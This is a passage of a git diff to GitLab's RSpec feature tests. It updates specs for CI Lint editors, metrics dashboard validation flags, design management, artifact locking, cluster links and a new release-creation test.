+ expect(page).to have_link('Disconnect Twitter', href: '/profile/account/unlink?provider=twitter')
+ end
+
+ it 'shows active for a provider that is not allowed to unlink' do
+ expect(page).to have_content('Saml Active')
+ end
+ end
+ end
+
describe 'Change username' do
let(:new_username) { 'bar' }
let(:new_user_path) { "/#{new_username}" }
diff --git a/spec/features/projects/artifacts/raw_spec.rb b/spec/features/projects/artifacts/raw_spec.rb
index d72a35fddf8..d580262d48b 100644
--- a/spec/features/projects/artifacts/raw_spec.rb
+++ b/spec/features/projects/artifacts/raw_spec.rb
@@ -2,7 +2,7 @@
require 'spec_helper'
-RSpec.describe 'Raw artifact', :js do
+RSpec.describe 'Raw artifact' do
let(:project) { create(:project, :public) }
let(:pipeline) { create(:ci_empty_pipeline, project: project) }
let(:job) { create(:ci_build, :artifacts, pipeline: pipeline) }
diff --git a/spec/features/projects/blobs/blob_show_spec.rb b/spec/features/projects/blobs/blob_show_spec.rb
index 3032d115a00..7c564d76f70 100644
--- a/spec/features/projects/blobs/blob_show_spec.rb
+++ b/spec/features/projects/blobs/blob_show_spec.rb
@@ -564,35 +564,76 @@ RSpec.describe 'File blob', :js do
file_path: '.gitlab/dashboards/custom-dashboard.yml',
file_content: file_content
).execute
-
- visit_blob('.gitlab/dashboards/custom-dashboard.yml')
end
- context 'valid dashboard file' do
- let(:file_content) { File.read(Rails.root.join('config/prometheus/common_metrics.yml')) }
+ context 'with metrics_dashboard_exhaustive_validations feature flag off' do
+ before do
+ stub_feature_flags(metrics_dashboard_exhaustive_validations: false)
+ visit_blob('.gitlab/dashboards/custom-dashboard.yml')
+ end
- it 'displays an auxiliary viewer' do
- aggregate_failures do
- # shows that dashboard yaml is valid
- expect(page).to have_content('Metrics Dashboard YAML definition is valid.')
+ context 'valid dashboard file' do
+ let(:file_content) { File.read(Rails.root.join('config/prometheus/common_metrics.yml')) }
+
+ it 'displays an auxiliary viewer' do
+ aggregate_failures do
+ # shows that dashboard yaml is valid
+ expect(page).to have_content('Metrics Dashboard YAML definition is valid.')
+
+ # shows a learn more link
+ expect(page).to have_link('Learn more')
+ end
+ end
+ end
+
+ context 'invalid dashboard file' do
+ let(:file_content) { "dashboard: 'invalid'" }
- # shows a learn more link
- expect(page).to have_link('Learn more')
+ it 'displays an auxiliary viewer' do
+ aggregate_failures do
+ # shows that dashboard yaml is invalid
+ expect(page).to have_content('Metrics Dashboard YAML definition is invalid:')
+ expect(page).to have_content("panel_groups: should be an array of panel_groups objects")
+
+ # shows a learn more link
+ expect(page).to have_link('Learn more')
+ end
end
end
end
- context 'invalid dashboard file' do
- let(:file_content) { "dashboard: 'invalid'" }
+ context 'with metrics_dashboard_exhaustive_validations feature flag on' do
+ before do
+ stub_feature_flags(metrics_dashboard_exhaustive_validations: true)
+ visit_blob('.gitlab/dashboards/custom-dashboard.yml')
+ end
- it 'displays an auxiliary viewer' do
- aggregate_failures do
- # shows that dashboard yaml is invalid
- expect(page).to have_content('Metrics Dashboard YAML definition is invalid:')
- expect(page).to have_content("panel_groups: should be an array of panel_groups objects")
+ context 'valid dashboard file' do
+ let(:file_content) { File.read(Rails.root.join('config/prometheus/common_metrics.yml')) }
- # shows a learn more link
- expect(page).to have_link('Learn more')
+ it 'displays an auxiliary viewer' do
+ aggregate_failures do
+ # shows that dashboard yaml is valid
+ expect(page).to have_content('Metrics Dashboard YAML definition is valid.')
+
+ # shows a learn more link
+ expect(page).to have_link('Learn more')
+ end
+ end
+ end
+
+ context 'invalid dashboard file' do
+ let(:file_content) { "dashboard: 'invalid'" }
+
+ it 'displays an auxiliary viewer' do
+ aggregate_failures do
+ # shows that dashboard yaml is invalid
+ expect(page).to have_content('Metrics Dashboard YAML definition is invalid:')
+ expect(page).to have_content("root is missing required keys: panel_groups")
+
+ # shows a learn more link
+ expect(page).to have_link('Learn more')
+ end
end
end
end
diff --git a/spec/features/projects/branches_spec.rb b/spec/features/projects/branches_spec.rb
index dbd1cebd515..0e2444c5434 100644
--- a/spec/features/projects/branches_spec.rb
+++ b/spec/features/projects/branches_spec.rb
@@ -97,7 +97,7 @@ RSpec.describe 'Branches' do
end
describe 'Delete unprotected branch on Overview' do
- it 'removes branch after confirmation', :js do
+ it 'removes branch after confirmation', :js, quarantine: 'https://gitlab.com/gitlab-org/gitlab/-/issues/239019' do
visit project_branches_filtered_path(project, state: 'all')
expect(all('.all-branches').last).to have_selector('li', count: 20)
diff --git a/spec/features/projects/ci/lint_spec.rb b/spec/features/projects/ci/lint_spec.rb
index ba063acbe70..ce435151b84 100644
--- a/spec/features/projects/ci/lint_spec.rb
+++ b/spec/features/projects/ci/lint_spec.rb
@@ -3,89 +3,122 @@
require 'spec_helper'
RSpec.describe 'CI Lint', :js do
+ include Spec::Support::Helpers::Features::EditorLiteSpecHelpers
+
let(:project) { create(:project, :repository) }
let(:user) { create(:user) }
- before do
- project.add_developer(user)
- sign_in(user)
-
- visit project_ci_lint_path(project)
- find('#ci-editor')
- execute_script("ace.edit('ci-editor').setValue(#{yaml_content.to_json});")
+ shared_examples 'correct ci linting process' do
+ describe 'YAML parsing' do
+ shared_examples 'validates the YAML' do
+ before do
+ stub_feature_flags(ci_lint_vue: false)
+ click_on 'Validate'
+ end
- # Ace editor updates a hidden textarea and it happens asynchronously
- wait_for('YAML content') do
- find('.ace_content').text.present?
- end
- end
+ context 'YAML is correct' do
+ let(:yaml_content) do
+ File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci.yml'))
+ end
- describe 'YAML parsing' do
- shared_examples 'validates the YAML' do
- before do
- click_on 'Validate'
- end
+ it 'parses Yaml and displays the jobs' do
+ expect(page).to have_content('Status: syntax is correct')
- context 'YAML is correct' do
- let(:yaml_content) do
- File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci.yml'))
+ within "table" do
+ aggregate_failures do
+ expect(page).to have_content('Job - rspec')
+ expect(page).to have_content('Job - spinach')
+ expect(page).to have_content('Deploy Job - staging')
+ expect(page).to have_content('Deploy Job - production')
+ end
+ end
+ end
end
- it 'parses Yaml and displays the jobs' do
- expect(page).to have_content('Status: syntax is correct')
+ context 'YAML is incorrect' do
+ let(:yaml_content) { 'value: cannot have :' }
- within "table" do
- aggregate_failures do
- expect(page).to have_content('Job - rspec')
- expect(page).to have_content('Job - spinach')
- expect(page).to have_content('Deploy Job - staging')
- expect(page).to have_content('Deploy Job - production')
- end
+ it 'displays information about an error' do
+ expect(page).to have_content('Status: syntax is incorrect')
+ expect(page).to have_selector(content_selector, text: yaml_content)
end
end
end
- context 'YAML is incorrect' do
- let(:yaml_content) { 'value: cannot have :' }
+ it_behaves_like 'validates the YAML'
- it 'displays information about an error' do
- expect(page).to have_content('Status: syntax is incorrect')
- expect(page).to have_selector('.ace_content', text: yaml_content)
+ context 'when Dry Run is checked' do
+ before do
+ check 'Simulate a pipeline created for the default branch'
end
+
+ it_behaves_like 'validates the YAML'
end
- end
- it_behaves_like 'validates the YAML'
+ describe 'YAML revalidate' do
+ let(:yaml_content) { 'my yaml content' }
- context 'when Dry Run is checked' do
+ it 'loads previous YAML content after validation' do
+ expect(page).to have_field('content', with: 'my yaml content', visible: false, type: 'textarea')
+ end
+ end
+ end
+
+ describe 'YAML clearing' do
before do
- check 'Simulate a pipeline created for the default branch'
+ click_on 'Clear'
end
- it_behaves_like 'validates the YAML'
+ context 'YAML is present' do
+ let(:yaml_content) do
+ File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci.yml'))
+ end
+
+ it 'YAML content is cleared' do
+ expect(page).to have_field('content', with: '', visible: false, type: 'textarea')
+ end
+ end
end
+ end
- describe 'YAML revalidate' do
- let(:yaml_content) { 'my yaml content' }
+ context 'with ACE editor' do
+ it_behaves_like 'correct ci linting process' do
+ let(:content_selector) { '.ace_content' }
- it 'loads previous YAML content after validation' do
- expect(page).to have_field('content', with: 'my yaml content', visible: false, type: 'textarea')
+ before do
+ stub_feature_flags(monaco_ci: false)
+ stub_feature_flags(ci_lint_vue: false)
+ project.add_developer(user)
+ sign_in(user)
+
+ visit project_ci_lint_path(project)
+ find('#ci-editor')
+ execute_script("ace.edit('ci-editor').setValue(#{yaml_content.to_json});")
+
+ # Ace editor updates a hidden textarea and it happens asynchronously
+ wait_for('YAML content') do
+ find(content_selector).text.present?
+ end
end
end
end
- describe 'YAML clearing' do
- before do
- click_on 'Clear'
- end
+ context 'with Editor Lite' do
+ it_behaves_like 'correct ci linting process' do
+ let(:content_selector) { '.content .view-lines' }
- context 'YAML is present' do
- let(:yaml_content) do
- File.read(Rails.root.join('spec/support/gitlab_stubs/gitlab_ci.yml'))
- end
+ before do
+ stub_feature_flags(monaco_ci: true)
+ stub_feature_flags(ci_lint_vue: false)
+ project.add_developer(user)
+ sign_in(user)
- it 'YAML content is cleared' do
- expect(page).to have_field('content', with: '', visible: false, type: 'textarea')
+ visit project_ci_lint_path(project)
+ editor_set_value(yaml_content)
+
+ wait_for('YAML content') do
+ find(content_selector).text.present?
+ end
end
end
end
diff --git a/spec/features/projects/clusters/gcp_spec.rb b/spec/features/projects/clusters/gcp_spec.rb
index 63e5546b43c..04339d20d77 100644
--- a/spec/features/projects/clusters/gcp_spec.rb
+++ b/spec/features/projects/clusters/gcp_spec.rb
@@ -144,7 +144,7 @@ RSpec.describe 'Gcp Cluster', :js, :do_not_mock_admin_mode do
visit project_clusters_path(project)
click_link 'Add Kubernetes cluster'
- click_link 'Add existing cluster'
+ click_link 'Connect existing cluster'
end
it 'user sees the "Environment scope" field' do
diff --git a/spec/features/projects/clusters/user_spec.rb b/spec/features/projects/clusters/user_spec.rb
index 450eaa7f004..9d0dc65093e 100644
--- a/spec/features/projects/clusters/user_spec.rb
+++ b/spec/features/projects/clusters/user_spec.rb
@@ -26,7 +26,7 @@ RSpec.describe 'User Cluster', :js do
visit project_clusters_path(project)
click_link 'Add Kubernetes cluster'
- click_link 'Add existing cluster'
+ click_link 'Connect existing cluster'
end
context 'when user filled form with valid parameters' do
diff --git a/spec/features/projects/clusters_spec.rb b/spec/features/projects/clusters_spec.rb
index c56a1ed1711..d674fbc457e 100644
--- a/spec/features/projects/clusters_spec.rb
+++ b/spec/features/projects/clusters_spec.rb
@@ -43,7 +43,7 @@ RSpec.describe 'Clusters', :js do
context 'when user filled form with environment scope' do
before do
click_link 'Add Kubernetes cluster'
- click_link 'Add existing cluster'
+ click_link 'Connect existing cluster'
fill_in 'cluster_name', with: 'staging-cluster'
fill_in 'cluster_environment_scope', with: 'staging/*'
click_button 'Add Kubernetes cluster'
@@ -72,7 +72,7 @@ RSpec.describe 'Clusters', :js do
context 'when user updates duplicated environment scope' do
before do
click_link 'Add Kubernetes cluster'
- click_link 'Add existing cluster'
+ click_link 'Connect existing cluster'
fill_in 'cluster_name', with: 'staging-cluster'
fill_in 'cluster_environment_scope', with: '*'
fill_in 'cluster_platform_kubernetes_attributes_api_url', with: 'https://0.0.0.0'
diff --git a/spec/features/projects/commit/mini_pipeline_graph_spec.rb b/spec/features/projects/commit/mini_pipeline_graph_spec.rb
index 7bd3bce85d5..cf9b86f16bb 100644
--- a/spec/features/projects/commit/mini_pipeline_graph_spec.rb
+++ b/spec/features/projects/commit/mini_pipeline_graph_spec.rb
@@ -26,8 +26,6 @@ RSpec.describe 'Mini Pipeline Graph in Commit View', :js do
build.run
visit project_commit_path(project, project.commit.id)
- wait_for_all_requests
-
expect(page).to have_selector('.mr-widget-pipeline-graph')
first('.mini-pipeline-graph-dropdown-toggle').click
diff --git a/spec/features/projects/deploy_keys_spec.rb b/spec/features/projects/deploy_keys_spec.rb
index 70d47516246..6218578cac6 100644
--- a/spec/features/projects/deploy_keys_spec.rb
+++ b/spec/features/projects/deploy_keys_spec.rb
@@ -22,7 +22,7 @@ RSpec.describe 'Project deploy keys', :js do
page.within(find('.qa-deploy-keys-settings')) do
expect(page).to have_selector('.deploy-key', count: 1)
- accept_confirm { find('.ic-remove').click }
+ accept_confirm { find('[data-testid="remove-icon"]').click }
wait_for_requests
diff --git a/spec/features/projects/environments/environments_spec.rb b/spec/features/projects/environments/environments_spec.rb
index a05910cd892..7f2ef61bcbe 100644
--- a/spec/features/projects/environments/environments_spec.rb
+++ b/spec/features/projects/environments/environments_spec.rb
@@ -106,7 +106,7 @@ RSpec.describe 'Environments page', :js do
expect(page).to have_css('.environments-container')
expect(page.all('.environment-name').length).to eq(1)
- expect(page.all('.ic-stop').length).to eq(0)
+ expect(page.all('[data-testid="stop-icon"]').length).to eq(0)
end
end
end
@@ -301,7 +301,7 @@ RSpec.describe 'Environments page', :js do
end
it 'has a dropdown for actionable jobs' do
- expect(page).to have_selector('.dropdown-new.btn.btn-default .ic-play')
+ expect(page).to have_selector('.dropdown-new.btn.btn-default [data-testid="play-icon"]')
end
it "has link to the delayed job's action" do
diff --git a/spec/features/projects/issues/design_management/user_paginates_designs_spec.rb b/spec/features/projects/issues/design_management/user_paginates_designs_spec.rb
index aff8951d9de..908e30478b2 100644
--- a/spec/features/projects/issues/design_management/user_paginates_designs_spec.rb
+++ b/spec/features/projects/issues/design_management/user_paginates_designs_spec.rb
@@ -8,57 +8,26 @@ RSpec.describe 'User paginates issue designs', :js do
let(:project) { create(:project_empty_repo, :public) }
let(:issue) { create(:issue, project: project) }
- context 'design_management_moved flag disabled' do
- before do
- stub_feature_flags(design_management_moved: false)
- enable_design_management
-
- create_list(:design, 2, :with_file, issue: issue)
- visit project_issue_path(project, issue)
- click_link 'Designs'
- wait_for_requests
- find('.js-design-list-item', match: :first).click
- end
-
- it 'paginates to next design' do
- expect(find('.js-previous-design')[:disabled]).to eq('true')
-
- page.within(find('.js-design-header')) do
- expect(page).to have_content('1 of 2')
- end
-
- find('.js-next-design').click
-
- expect(find('.js-previous-design')[:disabled]).not_to eq('true')
-
- page.within(find('.js-design-header')) do
- expect(page).to have_content('2 of 2')
- end
- end
+ before do
+ enable_design_management
+ create_list(:design, 2, :with_file, issue: issue)
+ visit project_issue_path(project, issue)
+ find('.js-design-list-item', match: :first).click
end
- context 'design_management_moved flag enabled' do
- before do
- enable_design_management
- create_list(:design, 2, :with_file, issue: issue)
- visit project_issue_path(project, issue)
- find('.js-design-list-item', match: :first).click
- end
+ it 'paginates to next design' do
+ expect(find('.js-previous-design')[:disabled]).to eq('true')
- it 'paginates to next design' do
- expect(find('.js-previous-design')[:disabled]).to eq('true')
-
- page.within(find('.js-design-header')) do
- expect(page).to have_content('1 of 2')
- end
+ page.within(find('.js-design-header')) do
+ expect(page).to have_content('1 of 2')
+ end
- find('.js-next-design').click
+ find('.js-next-design').click
- expect(find('.js-previous-design')[:disabled]).not_to eq('true')
+ expect(find('.js-previous-design')[:disabled]).not_to eq('true')
- page.within(find('.js-design-header')) do
- expect(page).to have_content('2 of 2')
- end
+ page.within(find('.js-design-header')) do
+ expect(page).to have_content('2 of 2')
end
end
end
diff --git a/spec/features/projects/issues/design_management/user_permissions_upload_spec.rb b/spec/features/projects/issues/design_management/user_permissions_upload_spec.rb
index 4e45312eac3..cfd8a4540ee 100644
--- a/spec/features/projects/issues/design_management/user_permissions_upload_spec.rb
+++ b/spec/features/projects/issues/design_management/user_permissions_upload_spec.rb
@@ -8,32 +8,13 @@ RSpec.describe 'User design permissions', :js do
let(:project) { create(:project_empty_repo, :public) }
let(:issue) { create(:issue, project: project) }
- context 'design_management_moved flag disabled' do
- before do
- enable_design_management
- stub_feature_flags(design_management_moved: false)
+ before do
+ enable_design_management
- visit project_issue_path(project, issue)
-
- click_link 'Designs'
-
- wait_for_requests
- end
-
- it 'user does not have permissions to upload design' do
- expect(page).not_to have_field('design_file')
- end
+ visit project_issue_path(project, issue)
end
- context 'design_management_moved flag enabled' do
- before do
- enable_design_management
-
- visit project_issue_path(project, issue)
- end
-
- it 'user does not have permissions to upload design' do
- expect(page).not_to have_field('design_file')
- end
+ it 'user does not have permissions to upload design' do
+ expect(page).not_to have_field('design_file')
end
end
diff --git a/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb b/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb
index 29a27992a0d..de1fcc9d787 100644
--- a/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb
+++ b/spec/features/projects/issues/design_management/user_uploads_designs_spec.rb
@@ -11,81 +11,34 @@ RSpec.describe 'User uploads new design', :js do
before do
sign_in(user)
+ enable_design_management(feature_enabled)
+ visit project_issue_path(project, issue)
end
- context 'design_management_moved flag disabled' do
- before do
- enable_design_management(feature_enabled)
- stub_feature_flags(design_management_moved: false)
- visit project_issue_path(project, issue)
+ context "when the feature is available" do
+ let(:feature_enabled) { true }
- click_link 'Designs'
+ it 'uploads designs' do
+ upload_design(logo_fixture, count: 1)
- wait_for_requests
- end
-
- context "when the feature is available" do
- let(:feature_enabled) { true }
-
- it 'uploads designs' do
- upload_design(logo_fixture, count: 1)
-
- expect(page).to have_selector('.js-design-list-item', count: 1)
-
- within first('#designs-tab .js-design-list-item') do
- expect(page).to have_content('dk.png')
- end
+ expect(page).to have_selector('.js-design-list-item', count: 1)
- upload_design(gif_fixture, count: 2)
-
- # Known bug in the legacy implementation: new designs are inserted
- # in the beginning on the frontend.
- expect(page).to have_selector('.js-design-list-item', count: 2)
- expect(page.all('.js-design-list-item').map(&:text)).to eq(['banana_sample.gif', 'dk.png'])
+ within first('[data-testid="designs-root"] .js-design-list-item') do
+ expect(page).to have_content('dk.png')
end
- end
- context 'when the feature is not available' do
- let(:feature_enabled) { false }
+ upload_design(gif_fixture, count: 2)
- it 'shows the message about requirements' do
- expect(page).to have_content("To upload designs, you'll need to enable LFS.")
- end
+ expect(page).to have_selector('.js-design-list-item', count: 2)
+ expect(page.all('.js-design-list-item').map(&:text)).to eq(['dk.png', 'banana_sample.gif'])
end
end
- context 'design_management_moved flag enabled' do
- before do
- enable_design_management(feature_enabled)
- stub_feature_flags(design_management_moved: true)
- visit project_issue_path(project, issue)
- end
-
- context "when the feature is available" do
- let(:feature_enabled) { true }
+ context 'when the feature is not available' do
+ let(:feature_enabled) { false }
- it 'uploads designs' do
- upload_design(logo_fixture, count: 1)
-
- expect(page).to have_selector('.js-design-list-item', count: 1)
-
- within first('[data-testid="designs-root"] .js-design-list-item') do
- expect(page).to have_content('dk.png')
- end
-
- upload_design(gif_fixture, count: 2)
-
- expect(page).to have_selector('.js-design-list-item', count: 2)
- expect(page.all('.js-design-list-item').map(&:text)).to eq(['dk.png', 'banana_sample.gif'])
- end
- end
-
- context 'when the feature is not available' do
- let(:feature_enabled) { false }
-
- it 'shows the message about requirements' do
- expect(page).to have_content("To upload designs, you'll need to enable LFS.")
- end
+ it 'shows the message about requirements' do
+ expect(page).to have_content("To upload designs, you'll need to enable LFS and have admin enable hashed storage.")
end
end
diff --git a/spec/features/projects/issues/design_management/user_views_design_spec.rb b/spec/features/projects/issues/design_management/user_views_design_spec.rb
index 49245218e81..b513a4fe3fa 100644
--- a/spec/features/projects/issues/design_management/user_views_design_spec.rb
+++ b/spec/features/projects/issues/design_management/user_views_design_spec.rb
@@ -9,42 +9,19 @@ RSpec.describe 'User views issue designs', :js do
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:design) { create(:design, :with_file, issue: issue) }
- context 'design_management_moved flag disabled' do
- before do
- enable_design_management
- stub_feature_flags(design_management_moved: false)
+ before do
+ enable_design_management
- visit project_issue_path(project, issue)
-
- click_link 'Designs'
- end
-
- it 'opens design detail' do
- click_link design.filename
-
- page.within(find('.js-design-header')) do
- expect(page).to have_content(design.filename)
- end
-
- expect(page).to have_selector('.js-design-image')
- end
+ visit project_issue_path(project, issue)
end
- context 'design_management_moved flag enabled' do
- before do
- enable_design_management
+ it 'opens design detail' do
+ click_link design.filename
- visit project_issue_path(project, issue)
+ page.within(find('.js-design-header')) do
+ expect(page).to have_content(design.filename)
end
- it 'opens design detail' do
- click_link design.filename
-
- page.within(find('.js-design-header')) do
- expect(page).to have_content(design.filename)
- end
-
- expect(page).to have_selector('.js-design-image')
- end
+ expect(page).to have_selector('.js-design-image')
end
end
diff --git a/spec/features/projects/issues/design_management/user_views_designs_spec.rb b/spec/features/projects/issues/design_management/user_views_designs_spec.rb
index 772a9ffbe6f..46c772027ad 100644
--- a/spec/features/projects/issues/design_management/user_views_designs_spec.rb
+++ b/spec/features/projects/issues/design_management/user_views_designs_spec.rb
@@ -9,78 +9,37 @@ RSpec.describe 'User views issue designs', :js do
let_it_be(:issue) { create(:issue, project: project) }
let_it_be(:design) { create(:design, :with_file, issue: issue) }
- context 'design_management_moved flag disabled' do
- before do
- enable_design_management
- stub_feature_flags(design_management_moved: false)
- end
-
- context 'navigates from the issue view' do
- before do
- visit project_issue_path(project, issue)
- click_link 'Designs'
- wait_for_requests
- end
-
- it 'fetches list of designs' do
- expect(page).to have_selector('.js-design-list-item', count: 1)
- end
- end
-
- context 'navigates directly to the design collection view' do
- before do
- visit designs_project_issue_path(project, issue)
- end
+ before do
+ enable_design_management
+ end
- it 'expands the sidebar' do
- expect(page).to have_selector('.layout-page.right-sidebar-expanded')
- end
+ context 'navigates from the issue view' do
+ before do
+ visit project_issue_path(project, issue)
end
- context 'navigates directly to the individual design view' do
- before do
- visit designs_project_issue_path(project, issue, vueroute: design.filename)
- end
-
- it 'sees the design' do
- expect(page).to have_selector('.js-design-detail')
- end
+ it 'fetches list of designs' do
+ expect(page).to have_selector('.js-design-list-item', count: 1)
end
end
- context 'design_management_moved flag enabled' do
+ context 'navigates directly to the design collection view' do
before do
- enable_design_management
+ visit designs_project_issue_path(project, issue)
end
- context 'navigates from the issue view' do
- before do
- visit project_issue_path(project, issue)
- end
-
- it 'fetches list of designs' do
- expect(page).to have_selector('.js-design-list-item', count: 1)
- end
+ it 'expands the sidebar' do
+ expect(page).to have_selector('.layout-page.right-sidebar-expanded')
end
+ end
- context 'navigates directly to the design collection view' do
- before do
- visit designs_project_issue_path(project, issue)
- end
-
- it 'expands the sidebar' do
- expect(page).to have_selector('.layout-page.right-sidebar-expanded')
- end
+ context 'navigates directly to the individual design view' do
+ before do
+ visit designs_project_issue_path(project, issue, vueroute: design.filename)
end
- context 'navigates directly to the individual design view' do
- before do
- visit designs_project_issue_path(project, issue, vueroute: design.filename)
- end
-
- it 'sees the design' do
- expect(page).to have_selector('.js-design-detail')
- end
+ it 'sees the design' do
+ expect(page).to have_selector('.js-design-detail')
end
end
end
diff --git a/spec/features/projects/jobs_spec.rb b/spec/features/projects/jobs_spec.rb
index 0a6f204454e..404c3e93586 100644
--- a/spec/features/projects/jobs_spec.rb
+++ b/spec/features/projects/jobs_spec.rb
@@ -373,13 +373,29 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state do
let(:expire_at) { Time.now + 7.days }
context 'when user has ability to update job' do
- it 'keeps artifacts when keep button is clicked' do
- expect(page).to have_content 'The artifacts will be removed in'
+ context 'when artifacts are unlocked' do
+ before do
+ job.pipeline.unlocked!
+ end
- click_link 'Keep'
+ it 'keeps artifacts when keep button is clicked' do
+ expect(page).to have_content 'The artifacts will be removed in'
- expect(page).to have_no_link 'Keep'
- expect(page).to have_no_content 'The artifacts will be removed in'
+ click_link 'Keep'
+
+ expect(page).to have_no_link 'Keep'
+ expect(page).to have_no_content 'The artifacts will be removed in'
+ end
+ end
+
+ context 'when artifacts are locked' do
+ before do
+ job.pipeline.artifacts_locked!
+ end
+
+ it 'shows the keep button' do
+ expect(page).to have_link 'Keep'
+ end
end
end
@@ -395,9 +411,26 @@ RSpec.describe 'Jobs', :clean_gitlab_redis_shared_state do
context 'when artifacts expired' do
let(:expire_at) { Time.now - 7.days }
- it 'does not have the Keep button' do
- expect(page).to have_content 'The artifacts were removed'
- expect(page).not_to have_link 'Keep'
+ context 'when artifacts are unlocked' do
+ before do
+ job.pipeline.unlocked!
+ end
+
+ it 'does not have the Keep button' do
+ expect(page).to have_content 'The artifacts were removed'
+ expect(page).not_to have_link 'Keep'
+ end
+ end
+
+ context 'when artifacts are locked' do
+ before do
+ job.pipeline.artifacts_locked!
+ end
+
+ it 'has the Keep button' do
+ expect(page).not_to have_content 'The artifacts were removed'
+ expect(page).to have_link 'Keep'
+ end
end
end
end
diff --git a/spec/features/projects/members/invite_group_spec.rb b/spec/features/projects/members/invite_group_spec.rb
index 058cbfff662..30e32ad1366 100644
--- a/spec/features/projects/members/invite_group_spec.rb
+++ b/spec/features/projects/members/invite_group_spec.rb
@@ -112,7 +112,7 @@ RSpec.describe 'Project > Members > Invite group', :js do
let!(:group) { create(:group) }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
before do
diff --git a/spec/features/projects/navbar_spec.rb b/spec/features/projects/navbar_spec.rb
index dcb901bcf11..07f65fe62df 100644
--- a/spec/features/projects/navbar_spec.rb
+++ b/spec/features/projects/navbar_spec.rb
@@ -18,6 +18,14 @@ RSpec.describe 'Project navbar' do
project.add_maintainer(user)
sign_in(user)
+
+ if Gitlab.ee?
+ insert_after_sub_nav_item(
+ _('Kubernetes'),
+ within: _('Operations'),
+ new_sub_nav_item_name: _('Feature Flags')
+ )
+ end
end
it_behaves_like 'verified navigation bar' do
diff --git a/spec/features/projects/pages_spec.rb b/spec/features/projects/pages_spec.rb
index e1ace817c72..243579ee2f7 100644
--- a/spec/features/projects/pages_spec.rb
+++ b/spec/features/projects/pages_spec.rb
@@ -380,14 +380,14 @@ RSpec.shared_examples 'pages settings editing' do
expect(project).to be_pages_deployed
end
- it 'removes the pages' do
+ it 'removes the pages', :sidekiq_inline do
visit project_pages_path(project)
expect(page).to have_link('Remove pages')
accept_confirm { click_link 'Remove pages' }
- expect(page).to have_content('Pages were removed')
+ expect(page).to have_content('Pages were scheduled for removal')
expect(project.reload.pages_deployed?).to be_falsey
end
end
diff --git a/spec/features/projects/pipelines/pipeline_spec.rb b/spec/features/projects/pipelines/pipeline_spec.rb
index 26c46190e7d..f59dc5dd074 100644
--- a/spec/features/projects/pipelines/pipeline_spec.rb
+++ b/spec/features/projects/pipelines/pipeline_spec.rb
@@ -378,7 +378,7 @@ RSpec.describe 'Pipeline', :js do
find('.js-tests-tab-link').click
expect(page).to have_content('Jobs')
- expect(page).to have_selector('.js-tests-detail', visible: :all)
+ expect(page).to have_selector('[data-testid="tests-detail"]', visible: :all)
end
end
diff --git a/spec/features/projects/pipelines/pipelines_spec.rb b/spec/features/projects/pipelines/pipelines_spec.rb
index 8747b3ab54c..a9c196bb84b 100644
--- a/spec/features/projects/pipelines/pipelines_spec.rb
+++ b/spec/features/projects/pipelines/pipelines_spec.rb
@@ -311,7 +311,7 @@ RSpec.describe 'Pipelines', :js do
let!(:delayed_job) do
create(:ci_build, :scheduled,
pipeline: pipeline,
- name: 'delayed job',
+ name: 'delayed job 1',
stage: 'test')
end
@@ -327,7 +327,7 @@ RSpec.describe 'Pipelines', :js do
find('.js-pipeline-dropdown-manual-actions').click
time_diff = [0, delayed_job.scheduled_at - Time.now].max
- expect(page).to have_button('delayed job')
+ expect(page).to have_button('delayed job 1')
expect(page).to have_content(Time.at(time_diff).utc.strftime("%H:%M:%S"))
end
@@ -335,7 +335,7 @@ RSpec.describe 'Pipelines', :js do
let!(:delayed_job) do
create(:ci_build, :expired_scheduled,
pipeline: pipeline,
- name: 'delayed job',
+ name: 'delayed job 1',
stage: 'test')
end
@@ -349,7 +349,7 @@ RSpec.describe 'Pipelines', :js do
context 'when user played a delayed job immediately' do
before do
find('.js-pipeline-dropdown-manual-actions').click
- page.accept_confirm { click_button('delayed job') }
+ page.accept_confirm { click_button('delayed job 1') }
wait_for_requests
end
diff --git a/spec/features/projects/releases/user_creates_release_spec.rb b/spec/features/projects/releases/user_creates_release_spec.rb
new file mode 100644
index 00000000000..5d05a7e4c91
--- /dev/null
+++ b/spec/features/projects/releases/user_creates_release_spec.rb
@@ -0,0 +1,147 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+RSpec.describe 'User creates release', :js do
+ include Spec::Support::Helpers::Features::ReleasesHelpers
+
+ let_it_be(:project) { create(:project, :repository) }
+ let_it_be(:milestone_1) { create(:milestone, project: project, title: '1.1') }
+ let_it_be(:milestone_2) { create(:milestone, project: project, title: '1.2') }
+ let_it_be(:user) { create(:user) }
+
+ let(:new_page_url) { new_project_release_path(project) }
+ let(:show_feature_flag) { true }
+
+ before do
+ stub_feature_flags(release_show_page: show_feature_flag)
+
+ project.add_developer(user)
+
+ gitlab_sign_in(user)
+
+ visit new_page_url
+
+ wait_for_requests
+ end
+
+ it 'renders the breadcrumbs', :aggregate_failures do
+ within('.breadcrumbs') do
+ expect(page).to have_content("#{project.creator.name} #{project.name} New Release")
+
+ expect(page).to have_link(project.creator.name, href: user_path(project.creator))
+ expect(page).to have_link(project.name, href: project_path(project))
+ expect(page).to have_link('New Release', href: new_project_release_path(project))
+ end
+ end
+
+ it 'defaults the "Create from" dropdown to the project\'s default branch' do
+ expect(page.find('.ref-selector button')).to have_content(project.default_branch)
+ end
+
+ context 'when the "Save release" button is clicked' do
+ let(:tag_name) { 'v1.0' }
+ let(:release_title) { 'A most magnificent release' }
+ let(:release_notes) { 'Best. Release. **Ever.** :rocket:' }
+ let(:link_1) { { url: 'https://gitlab.example.com/runbook', title: 'An example runbook', type: 'runbook' } }
+ let(:link_2) { { url: 'https://gitlab.example.com/other', title: 'An example link', type: 'other' } }
+
+ before do
+ fill_out_form_and_submit
+ end
+
+ it 'creates a new release when "Create release" is clicked', :aggregate_failures do
+ release = project.releases.last
+
+ expect(release.tag).to eq(tag_name)
+ expect(release.sha).to eq(commit.id)
+ expect(release.name).to eq(release_title)
+ expect(release.milestones.first.title).to eq(milestone_1.title)
+ expect(release.milestones.second.title).to eq(milestone_2.title)
+ expect(release.description).to eq(release_notes)
+ expect(release.links.length).to eq(2)
+
